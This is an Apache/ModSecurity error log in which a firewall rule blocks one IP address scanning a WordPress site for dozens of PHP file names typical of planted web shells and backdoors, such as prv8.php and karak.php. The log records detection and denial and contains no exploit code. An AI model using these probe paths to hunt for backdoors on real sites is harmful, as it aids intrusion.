[Mon Feb 23 01:02:29.884844 2026] [:error] [pid 28426:tid 28539] [client 20.203.249.16:29331] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aZs2pWgbPVf4pO12NZnKtQAAAJE"]
[Mon Feb 23 01:02:30.358640 2026] [:error] [pid 28426:tid 28546] [client 20.203.249.16:27214] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aZs2pmgbPVf4pO12NZnKtgAAAJg"]
[Mon Feb 23 01:02:37.857989 2026] [:error] [pid 28425:tid 28506] [client 20.203.249.16:18067] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aZs2rTO7QIkwG1UqFGzkiwAAAE0"]
[Mon Feb 23 01:02:38.331430 2026] [:error] [pid 4806:tid 4817] [client 20.203.249.16:27961] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vxrl.php"] [unique_id "aZs2rvFTHI_ud-cTYbTsaQAAAQk"]
[Mon Feb 23 01:02:38.803510 2026] [:error] [pid 28558:tid 28565] [client 20.203.249.16:17879] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vxrl.php"] [unique_id "aZs2ridFHR5e1Gd10vd5agAAAMU"]
[Mon Feb 23 01:02:39.275803 2026] [:error] [pid 4806:tid 4823] [client 20.203.249.16:23544] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vxrl.php"] [unique_id "aZs2r_FTHI_ud-cTYbTsbQAAAQ8"]
[Mon Feb 23 01:02:39.749223 2026] [:error] [pid 4806:tid 4826] [client 20.203.249.16:23721] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vxrl.php"] [unique_id "aZs2r_FTHI_ud-cTYbTsbwAAARI"]
[Mon Feb 23 01:02:40.220159 2026] [:error] [pid 28424:tid 28446] [client 20.203.249.16:16628] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/in.php"] [unique_id "aZs2sABAZT_BJOxE-Z4kbwAAABI"]
[Mon Feb 23 01:02:40.691019 2026] [:error] [pid 28424:tid 28450] [client 20.203.249.16:21489] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/in.php"] [unique_id "aZs2sABAZT_BJOxE-Z4kcAAAABY"]
[Mon Feb 23 01:02:41.185640 2026] [:error] [pid 4806:tid 4830] [client 20.203.249.16:24412] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/in.php"] [unique_id "aZs2sfFTHI_ud-cTYbTscQAAARY"]
[Mon Feb 23 01:02:41.655671 2026] [:error] [pid 28558:tid 28584] [client 20.203.249.16:27745] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/in.php"] [unique_id "aZs2sSdFHR5e1Gd10vd5bwAAANg"]
[Mon Feb 23 01:02:45.144039 2026] [:error] [pid 28558:tid 28562] [client 20.203.249.16:24447] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aZs2tSdFHR5e1Gd10vd5ewAAAMI"]
[Mon Feb 23 01:02:45.615590 2026] [:error] [pid 28425:tid 28515] [client 20.203.249.16:1623] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aZs2tTO7QIkwG1UqFGzklAAAAFY"]
[Mon Feb 23 01:02:49.112213 2026] [:error] [pid 28426:tid 28538] [client 20.203.249.16:27968] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aZs2uWgbPVf4pO12NZnK4AAAAJA"]
[Mon Feb 23 01:02:49.584476 2026] [:error] [pid 28426:tid 28531] [client 20.203.249.16:27755] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aZs2uWgbPVf4pO12NZnK4wAAAIk"]
[Mon Feb 23 01:02:50.070634 2026] [:error] [pid 28426:tid 28532] [client 20.203.249.16:27244] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aZs2umgbPVf4pO12NZnK5wAAAIo"]
[Mon Feb 23 01:02:50.542672 2026] [:error] [pid 28558:tid 28584] [client 20.203.249.16:23685] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aZs2uidFHR5e1Gd10vd5gQAAANg"]
[Mon Feb 23 01:02:51.020786 2026] [:error] [pid 28426:tid 28529] [client 20.203.249.16:24915] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aZs2u2gbPVf4pO12NZnK6gAAAIc"]
[Mon Feb 23 01:02:51.492702 2026] [:error] [pid 28426:tid 28528] [client 20.203.249.16:24594] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aZs2u2gbPVf4pO12NZnK7AAAAIY"]
[Mon Feb 23 01:02:51.999782 2026] [:error] [pid 28426:tid 28536] [client 20.203.249.16:28760] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwso.php"] [unique_id "aZs2u2gbPVf4pO12NZnK7wAAAI4"]
[Mon Feb 23 01:02:52.471304 2026] [:error] [pid 28425:tid 28501] [client 20.203.249.16:26230] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwso.php"] [unique_id "aZs2vDO7QIkwG1UqFGzkpwAAAEg"]
[Mon Feb 23 01:02:52.943260 2026] [:error] [pid 28426:tid 28544] [client 20.203.249.16:28759] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwso.php"] [unique_id "aZs2vGgbPVf4pO12NZnK8wAAAJY"]
[Mon Feb 23 01:02:53.416637 2026] [:error] [pid 4806:tid 4816] [client 20.203.249.16:17704] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwso.php"] [unique_id "aZs2vfFTHI_ud-cTYbTshgAAAQg"]
[Mon Feb 23 01:02:53.889528 2026] [:error] [pid 28426:tid 28530] [client 20.203.249.16:1654] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karak.php"] [unique_id "aZs2vWgbPVf4pO12NZnK9wAAAIg"]
[Mon Feb 23 01:02:57.377503 2026] [:error] [pid 4806:tid 4824] [client 20.203.249.16:24399] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karak.php"] [unique_id "aZs2wfFTHI_ud-cTYbTsjgAAARA"]
[Mon Feb 23 01:02:57.848839 2026] [:error] [pid 28426:tid 28543] [client 20.203.249.16:28754] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karak.php"] [unique_id "aZs2wWgbPVf4pO12NZnLBQAAAJU"]
[Mon Feb 23 01:02:58.349966 2026] [:error] [pid 28424:tid 28446] [client 20.203.249.16:23693] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karak.php"] [unique_id "aZs2wgBAZT_BJOxE-Z4kggAAABI"]
[Mon Feb 23 01:02:58.822312 2026] [:error] [pid 28426:tid 28523] [client 20.203.249.16:24940] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/prv8.php"] [unique_id "aZs2wmgbPVf4pO12NZnLBgAAAII"]
[Mon Feb 23 01:02:59.295183 2026] [:error] [pid 28425:tid 28510] [client 20.203.249.16:27915] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/prv8.php"] [unique_id "aZs2wzO7QIkwG1UqFGzksAAAAFE"]
[Mon Feb 23 01:02:59.771282 2026] [:error] [pid 4806:tid 4814] [client 20.203.249.16:17671] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/prv8.php"] [unique_id "aZs2w_FTHI_ud-cTYbTskQAAAQY"]
[Mon Feb 23 01:03:00.244672 2026] [:error] [pid 4806:tid 4831] [client 20.203.249.16:28483] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/prv8.php"] [unique_id "aZs2xPFTHI_ud-cTYbTskgAAARc"]
[Mon Feb 23 01:03:01.724294 2026] [:error] [pid 28426:tid 28529] [client 20.203.249.16:23994] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/i.php"] [unique_id "aZs2xWgbPVf4pO12NZnLDQAAAIc"]
[Mon Feb 23 01:03:02.195860 2026] [:error] [pid 28426:tid 28522] [client 20.203.249.16:18082] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/i.php"] [unique_id "aZs2xmgbPVf4pO12NZnLEQAAAIE"]
[Mon Feb 23 01:03:02.670642 2026] [:error] [pid 28426:tid 28521] [client 20.203.249.16:26709] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/i.php"] [unique_id "aZs2xmgbPVf4pO12NZnLFAAAAIA"]
[Mon Feb 23 01:03:03.142680 2026] [:error] [pid 28425:tid 28503] [client 20.203.249.16:24928] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/i.php"] [unique_id "aZs2xzO7QIkwG1UqFGzkxwAAAEo"]
[Mon Feb 23 01:03:06.673865 2026] [:error] [pid 28424:tid 28440] [client 20.203.249.16:24944] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aZs2ygBAZT_BJOxE-Z4kjAAAAAw"]
[Mon Feb 23 01:03:07.148115 2026] [:error] [pid 4806:tid 4812] [client 20.203.249.16:24436] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aZs2y_FTHI_ud-cTYbTsnwAAAQQ"]
[Mon Feb 23 01:03:07.621247 2026] [:error] [pid 28425:tid 28504] [client 20.203.249.16:25982] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aZs2yzO7QIkwG1UqFGzk4QAAAEs"]
[Mon Feb 23 01:03:08.093932 2026] [:error] [pid 4806:tid 4820] [client 20.203.249.16:26232] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aZs2zPFTHI_ud-cTYbTsoQAAAQw"]
[Mon Feb 23 01:03:08.565317 2026] [:error] [pid 28558:tid 28571] [client 20.203.249.16:18849] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZs2zCdFHR5e1Gd10vd5jAAAAMs"]
[Mon Feb 23 01:03:09.039592 2026] [:error] [pid 28558:tid 28574] [client 20.203.249.16:24398] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZs2zSdFHR5e1Gd10vd5jgAAAM4"]
[Mon Feb 23 01:03:09.511492 2026] [:error] [pid 28558:tid 28565] [client 20.203.249.16:17857] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZs2zSdFHR5e1Gd10vd5kAAAAMU"]
[Mon Feb 23 01:03:09.983029 2026] [:error] [pid 28424:tid 28428] [client 20.203.249.16:1653] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZs2zQBAZT_BJOxE-Z4kkgAAAAA"]
[Mon Feb 23 01:03:10.454245 2026] [:error] [pid 28425:tid 28501] [client 20.203.249.16:27925] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aw.php"] [unique_id "aZs2zjO7QIkwG1UqFGzk5AAAAEg"]
[Mon Feb 23 01:04:04.909774 2026] [:error] [pid 28558:tid 28576] [client 20.203.249.16:21487] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aZs3BCdFHR5e1Gd10vd6KgAAANA"]
[Mon Feb 23 01:04:08.409113 2026] [:error] [pid 28426:tid 28528] [client 20.203.249.16:20636] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aZs3CGgbPVf4pO12NZnLvQAAAIY"]
[Mon Feb 23 01:04:08.881258 2026] [:error] [pid 28558:tid 28574] [client 20.203.249.16:1627] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aZs3CCdFHR5e1Gd10vd6MwAAAM4"]
[Mon Feb 23 01:04:09.359556 2026] [:error] [pid 28426:tid 28521] [client 20.203.249.16:1549] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aZs3CWgbPVf4pO12NZnLvwAAAIA"]
[Mon Feb 23 01:04:09.834287 2026] [:error] [pid 28426:tid 28530] [client 20.203.249.16:20622] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/default.php"] [unique_id "aZs3CWgbPVf4pO12NZnLwgAAAIg"]
[Mon Feb 23 01:04:10.313080 2026] [:error] [pid 4806:tid 4809] [client 20.203.249.16:24204] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/default.php"] [unique_id "aZs3CvFTHI_ud-cTYbTthgAAAQE"]
[Mon Feb 23 01:04:10.786150 2026] [:error] [pid 28426:tid 28541] [client 20.203.249.16:22945] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/default.php"] [unique_id "aZs3CmgbPVf4pO12NZnLxwAAAJM"]
[Mon Feb 23 01:04:11.260315 2026] [:error] [pid 28425:tid 28504] [client 20.203.249.16:22170] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/default.php"] [unique_id "aZs3CzO7QIkwG1UqFGzlXgAAAEs"]
[Mon Feb 23 01:04:11.731967 2026] [:error] [pid 28425:tid 28502] [client 20.203.249.16:25872] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aZs3CzO7QIkwG1UqFGzlYAAAAEk"]
[Mon Feb 23 01:04:12.206103 2026] [:error] [pid 28424:tid 28432] [client 20.203.249.16:20444] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aZs3DABAZT_BJOxE-Z4lGQAAAAQ"]
[Mon Feb 23 01:04:12.678976 2026] [:error] [pid 28558:tid 28567] [client 20.203.249.16:28767] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aZs3DCdFHR5e1Gd10vd6SwAAAMc"]
[Mon Feb 23 01:04:13.151203 2026] [:error] [pid 28424:tid 28433] [client 20.203.249.16:17842] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aZs3DQBAZT_BJOxE-Z4lIgAAAAU"]
